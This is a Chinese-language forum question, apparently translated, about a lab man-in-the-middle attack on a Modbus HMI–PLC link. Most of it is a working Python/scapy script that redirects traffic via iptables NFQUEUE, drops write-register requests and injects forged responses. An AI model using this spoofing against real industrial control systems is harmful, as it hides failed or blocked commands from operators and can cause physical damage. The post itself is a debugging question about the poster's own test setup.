我试图用某种 MITM 攻击来欺骗我的 HMI(客户端)。但看起来我不明白一些基本的东西。这是 HMI 端的代码和 Wireshark 屏幕截图。问题是:
- 我正在从 HMI 丢弃原始 WRITE 请求数据包
- 我正在制作虚假的 RESPONSE 数据包并将其发送到 HMI
- 之后 HMI 尝试发送新的 REQUEST 但 PLC(服务器)突然没有响应 :(
#!/usr/bin/python2
import nfqueue
from scapy.all import *
load_contrib('modbus')
import os
import time
# MITM rule initialization:
iptable_rule1 = "iptables -A FORWARD -j NFQUEUE"
#iptable_rule2 = "iptables -A OUTPUT -j ACCEPT"
os.system(iptable_rule1)
os.system("sysctl net.ipv4.ip_forward=1")
def callback(payload):
global ON
data = payload.get_data()
pkt = IP(data)
#Checking if WRITE request is in payload
if ModbusPDU06WriteSingleRegisterRequest in pkt and ModbusADURequest in pkt:
print "[*] WRITE request packet detected..."
# Begin of crafting fake RESPONSE packet
fake_response = IP()/TCP()/ModbusADUResponse()/ModbusPDU06WriteSingleRegisterResponse()
fake_response[ModbusADUResponse].transId = pkt[ModbusADURequest].transId
fake_response[ModbusADUResponse].len = pkt[ModbusADURequest].len
fake_response[ModbusADUResponse].unitId = pkt[ModbusADURequest].unitId
fake_response[ModbusPDU06WriteSingleRegisterResponse].funcCode = pkt[ModbusPDU06WriteSingleRegisterRequest].funcCode
fake_response[ModbusPDU06WriteSingleRegisterResponse].registerAddr = pkt[ModbusPDU06WriteSingleRegisterRequest].registerAddr
fake_response[ModbusPDU06WriteSingleRegisterResponse].registerValue = pkt[ModbusPDU06WriteSingleRegisterRequest].registerValue
fake_response[IP].src = pkt[IP].dst
fake_response[IP].dst = pkt[IP].src
fake_response[TCP].sport = pkt[TCP].dport
fake_response[TCP].dport = pkt[TCP].sport
fake_response[TCP].seq = pkt[TCP].ack
fake_response[TCP].ack = pkt[TCP].seq + len(pkt[TCP].payload)
fake_response[IP].ttl = 2 #Just for red color in Wireshark
fake_response[TCP].flags = 'PA'
#del fake_response[IP].chksum
#del fake_response[TCP].chksum
# End of crafting fake RESPONSE packet
time.sleep(0.1)
#Injection of FAKE response to the network
payload.set_verdict_modified (nfqueue.NF_ACCEPT, str(fake_response), len(fake_response))
#All other packets have to be accepted
else:
print "[*] Non request packet accepted..."
payload.set_verdict(nfqueue.NF_ACCEPT)
def main():
q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)
q.set_callback(callback)
q.create_queue(0)
try:
q.try_run()
except KeyboardInterrupt:
q.unbind(socket.AF_INET)
q.close()
print("Flushing iptables.")
os.system('iptables -F')
os.system('iptables -X')
main()
感谢您的各种帮助!